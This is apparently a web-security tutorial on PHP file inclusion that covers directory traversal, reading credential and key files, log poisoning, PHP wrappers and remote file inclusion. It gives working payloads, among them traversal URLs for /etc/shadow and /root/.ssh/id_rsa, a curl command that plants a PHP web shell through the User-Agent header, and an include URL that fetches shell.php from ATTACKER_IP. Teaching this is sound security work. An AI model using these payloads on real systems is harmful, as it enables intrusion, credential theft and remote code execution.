File Inclusion
LFI, RFI, and Log Poisoning

person 0x74shelby category Web Security · Intermediate
screenshot_monitor

01

The Vulnerability

File inclusion flaws happen when a PHP application uses user input to determine which file to include or require. The intended pattern is something like switching between language files based on a URL parameter. The problem is that without strict validation, an attacker controls which file gets included and can walk up the directory tree to read sensitive files anywhere on the system.

directory traversal
http://target.com/index.php?lang=../../../../etc/passwd
http://target.com/index.php?page=../../../etc/shadow
http://target.com/index.php?file=/etc/hosts

The ../ sequences walk up out of the application directory until you reach a known path. Each ../ moves one level up. Most systems let you use far more ../ sequences than you need without erroring out, so starting with eight or ten is fine.

02

What to Read First

LFI gives you arbitrary file read on the server. The most interesting targets are files that contain credentials, configuration, or private keys.

high-value targets
/etc/passwd           # user list and home directories
/etc/shadow           # password hashes (if readable)
/root/.ssh/id_rsa     # root SSH private key
/var/www/html/config.php   # database credentials
/proc/self/environ    # environment variables incl. secrets
/var/log/apache2/access.log # log file for poisoning
03

Log Poisoning for RCE

Log poisoning turns a read-only LFI into remote code execution by writing PHP code into a log file that the server will later include. The web server records every request in its access log, including the User-Agent header. If you send a request with a PHP payload as your User-Agent, that payload gets written into the log. When you then include the log file through the LFI, the PHP payload executes.

log poisoning sequence
curl -s http://target.com/ -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

http://target.com/index.php?file=../../../../var/log/apache2/access.log&cmd=id

PHP Wrappers

PHP stream wrappers like php://filter/convert.base64-encode/resource= let you read PHP source files that would otherwise execute instead of display. The data:// wrapper can inject and execute inline PHP if allow_url_include is enabled. These wrappers are often overlooked but are frequently available on misonfigured servers.

04

Remote File Inclusion

Remote file inclusion works like LFI except you point the include path at a URL you control instead of a local file. The server fetches and executes your remote PHP file. This requires the allow_url_include PHP directive to be enabled, which is off by default in modern PHP but was on by default in older versions. It's rare but still shows up.

rfi payload
http://target.com/index.php?page=http://ATTACKER_IP/shell.php

When RFI is available, it's arguably cleaner than log poisoning because you control the payload file directly. You can serve any PHP code you want from your listener and the target server fetches and executes it on demand.